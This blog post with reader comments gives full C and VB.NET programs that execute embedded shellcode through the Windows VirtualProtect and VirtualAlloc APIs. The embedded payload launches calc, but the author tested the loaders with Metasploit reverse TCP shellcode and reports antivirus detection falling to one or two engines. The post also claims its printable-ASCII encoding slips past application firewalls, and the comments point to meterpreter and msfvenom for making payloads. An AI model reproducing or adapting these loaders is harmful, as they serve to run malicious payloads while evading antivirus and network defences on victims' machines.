In the world of Windows you can execute shellcode using the VirtualAlloc and VirtualProtect Windows APIs. There are also few more APIs we can use to do the same task but different techniques involved.
VirtualProtect
This is how MSDN explains this:
Changes the protection on a region of committed pages in the virtual address space of the calling process.
BOOL WINAPI VirtualProtect( _In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flNewProtect, _Out_ PDWORD lpflOldProtect );
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx
Basically we can make our shellcode memory region executable and invoke it using this API. We use the PAGE_EXECUTE_READWRITE as the memory protection constant for the flNewProtect parameter to make our page RWX.
Here’s an example using C which I have implemented.
/* CC-By: Osanda Malith Jayathissa (@OsandaMalith) Executing Shellcode using VirtualProtect Website: https://osandamalith.com https://creativecommons.org/licenses/by/3.0/ */ # include <stdlib.h> # include <stdio.h> # include <string.h> # include <windows.h> int main() { // Calc Shellcode char *shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA"; DWORD oldProtect; BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect); if (!ret) { fprintf(stderr, "%s", "Error Occured"); return EXIT_FAILURE; } ((void(*)(void))shellcode)(); VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect); return EXIT_SUCCESS; }
For all virus scans in this post I have used the metasploit’s reverse tcp shellcode.
This result is using the MinGW compiler
https://virustotal.com/en/file/388466e6dbd4eac66ff725f91ca1fddb98f0f6b8c47a992ffe0a4dc68a0c6d60/analysis/1469980144/
However my code crashed under Visual C.
You can see the detection rate is little high because we are dealing with native code. What if we try to implement the same thing using .NET? It uses MSIL and we might have a chance of making the detection rate a bit lower.
In the world of .NET there’s this battle in managed and unmanaged resources. Basically the garbage collector knows about all the managed objects and will eventually clean up all the memory and resources associated with a managed object. The garbage collector doesn’t know about unmanaged resources, such as files, stream and handles. So porting this native code to .NET is very challenging at first. But thanks to MSDN which helps us in figuring out a way.
We use the GCHandle.Alloc Method to allocate our shellcode region to a Pinned GCHandle Type. This will make our object pinned and will prevent the garbage collector from moving the object. Pinning an object prevents the garbage collector from moving it around in memory.
Dim GC As GCHandle = GCHandle.Alloc(shell, GCHandleType.Pinned) Dim hAddr As Integer = GC.AddrOfPinnedObject.ToInt32 GC.Free()
We use a function pointer in C to execute our shellcode. Likewise in .NET we have to use an unmananaged Function pointer.
<UnmanagedFunctionPointer(CallingConvention.Cdecl)> Public Delegate Function ExecuteDelegate() As Integer
Next we use Marshal.GetDelegateForFunctionPointer which converts an unmanaged function pointer to a delegate and it will return us a delegate instance that can be casted to the appropriate delegate type. We can use DirectCast for this purpose and execute our shellcode.
DirectCast(Marshal.GetDelegateForFunctionPointer(baseAddr, GetType(ExecuteDelegate)), ExecuteDelegate)()
Here’s the full source code.
#If AFAC Then CC-By: Osanda Malith Jayathissa (@OsandaMalith) Executing Shellcode using VirtualProtect in VB.NET Website: https://osandamalith.com https://creativecommons.org/licenses/by/3.0/ #End If Imports System Imports System.Runtime.InteropServices Public Class Form1 Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load ' Calc Shellcode Dim shellcode As String = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA" Dim shell_array(shellcode.Length - 1) As Byte Dim i As Integer = 0 Do shell_array(i) = Convert.ToByte(shellcode(i)) i = i + 1 Loop While i < shellcode.Length Dim oldProtect As UInt32 VirtualProtect(VarPtr(shell_array), New UIntPtr(CType(shell_array.Length, UInt32)), MemoryProtection.EXECUTE_READWRITE, oldProtect) Try DirectCast(Marshal.GetDelegateForFunctionPointer(VarPtr(shell_array), GetType(ExecShellcode)), ExecShellcode)() Finally VirtualProtect(VarPtr(shell_array), New UIntPtr(CType(shell_array.Length, UInt32)), oldProtect, oldProtect) End Try End Sub Function VarPtr(ByVal shell As Object) As Integer Dim GC As GCHandle = GCHandle.Alloc(shell, GCHandleType.Pinned) Dim hAddr As Integer = GC.AddrOfPinnedObject.ToInt32 GC.Free() Return hAddr End Function <DllImport("kernel32.dll", CharSet:=CharSet.None, ExactSpelling:=False, SetLastError:=True)> Private Shared Function VirtualProtect( ByVal lpAddress As IntPtr, ByVal dwSize As UIntPtr, ByVal flNewProtect As UInt32, <Out()> ByRef lpflOldProtect As UInt32) As Boolean End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> Public Delegate Function ExecShellcode() As Integer <Flags> Public Enum AllocationType As UInteger COMMIT = 4096 RESERVE = 8192 RESET = 524288 TOP_DOWN = 1048576 WRITE_WATCH = 2097152 PHYSICAL = 4194304 LARGE_PAGES = 536870912 End Enum Public Enum FreeType As UInteger MEM_DECOMMIT = 16384 MEM_RELEASE = 32768 End Enum <Flags> Public Enum MemoryProtection As UInteger NOACCESS = 1 [READONLY] = 2 READWRITE = 4 WRITECOPY = 8 EXECUTE = 16 EXECUTE_READ = 32 EXECUTE_READWRITE = 64 EXECUTE_WRITECOPY = 128 GUARD_Modifierflag = 256 NOCACHE_Modifierflag = 512 WRITECOMBINE_Modifierflag = 1024 End Enum End Class
Now the detection rate is just 2.
VirtualAlloc
This is how MSDN explains this API.
Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero.
LPVOID WINAPI VirtualAlloc( _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect );
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx
We can allocate RWX memory using this API and then copy our shellcode to the allocated memory region and then invoke it.
Here’s an example using C.
/* CC-By: Osanda Malith Jayathissa (@OsandaMalith) Executing Shellcode using VirtualAlloc Website: https://osandamalith.com https://creativecommons.org/licenses/by/3.0/ */ # include <stdlib.h> # include <stdio.h> # include <string.h> # include <windows.h> int main(void) { // Calc Shellcode char *shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA"; BOOL *exec = VirtualAlloc(0, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!exec) { fprintf(stderr, "%s", "Error Occured"); return EXIT_FAILURE; } memcpy(exec, shellcode, strlen(shellcode)); ((void (*)())exec)(); VirtualFree(exec, 0, MEM_RELEASE); return EXIT_SUCCESS; }
Once compiled in Visual C you can see the detection rate is very high in this case. It’s 16/54.
In MinGW the detection rate is a bit low compared to Visual C.
When we are porting this to .NET the same things apply as I’ve said before. Instead of memcpy we use Marshal.Copy to copy our shellcode array to unmanaged memory allocated by VirtualAlloc.
Here’s the full source code.
#If AFAC Then CC-By: Osanda Malith Jayathissa (@OsandaMalith) Executing Shellcode using VirtualAlloc in VB.NET Website: https://osandamalith.com https://creativecommons.org/licenses/by/3.0/ #End If Imports System Imports System.Runtime.InteropServices Public Class Form1 Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load ' Calc Shellcode Dim shellcode As String = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA" Dim shell_array(shellcode.Length - 1) As Byte Dim i As Integer = 0 Do shell_array(i) = Convert.ToByte(shellcode(i)) i = i + 1 Loop While i < shellcode.Length Dim baseAddr As IntPtr = VirtualAlloc(IntPtr.Zero, New UIntPtr(CType(shell_array.Length, UInt32)), AllocationType.COMMIT Or AllocationType.RESERVE, MemoryProtection.EXECUTE_READWRITE) Try Marshal.Copy(shell_array, 0, baseAddr, CInt(shell_array.Length)) DirectCast(Marshal.GetDelegateForFunctionPointer(baseAddr, GetType(ExecuteDelegate)), ExecuteDelegate)() Finally VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE) End Try End Sub <DllImport("kernel32.dll", CharSet:=CharSet.None, ExactSpelling:=False, SetLastError:=True)> Private Shared Function VirtualAlloc( ByVal lpAddress As IntPtr, ByVal dwSize As UIntPtr, ByVal flAllocationType As AllocationType, ByVal flProtect As MemoryProtection) As IntPtr End Function <DllImport("kernel32.dll", CharSet:=CharSet.None, ExactSpelling:=False)> Private Shared Function VirtualFree( ByVal lpAddress As IntPtr, ByVal dwSize As UInteger, ByVal dwFreeType As FreeType) As Boolean End Function <Flags> Public Enum AllocationType As UInteger COMMIT = 4096 RESERVE = 8192 RESET = 524288 TOP_DOWN = 1048576 WRITE_WATCH = 2097152 PHYSICAL = 4194304 LARGE_PAGES = 536870912 End Enum <UnmanagedFunctionPointer(CallingConvention.Cdecl)> Public Delegate Function ExecuteDelegate() As Integer Public Enum FreeType As UInteger MEM_DECOMMIT = 16384 MEM_RELEASE = 32768 End Enum <Flags> Public Enum MemoryProtection As UInteger NOACCESS = 1 [READONLY] = 2 READWRITE = 4 WRITECOPY = 8 EXECUTE = 16 EXECUTE_READ = 32 EXECUTE_READWRITE = 64 EXECUTE_WRITECOPY = 128 GUARD_Modifierflag = 256 NOCACHE_Modifierflag = 512 WRITECOMBINE_Modifierflag = 1024 End Enum End Class
When we look at the detection rate you can see only 1 which is a very low detection rate.
Since we are using printable ASCII characters we can bypass application firewalls which operate at layer 7 of the OSI stack. Usually they detect non printable ASCII characters such as 00 FF.
You can find the full source code for both at my GitHub: https://github.com/OsandaMalith/VBShellCode
What is the type of the shell code used in the code ?.
what tool is used to generate it ?
Thank you in advance : )
I have used meterpreter to generate the shellcode.
Can you make a video of how you generated the shell code?
Thanks for the post.
Use msfvenom 🙂
Can not get Metasploit framework for windows 32 bits, is there any other tool for windows that generates that shellcode format?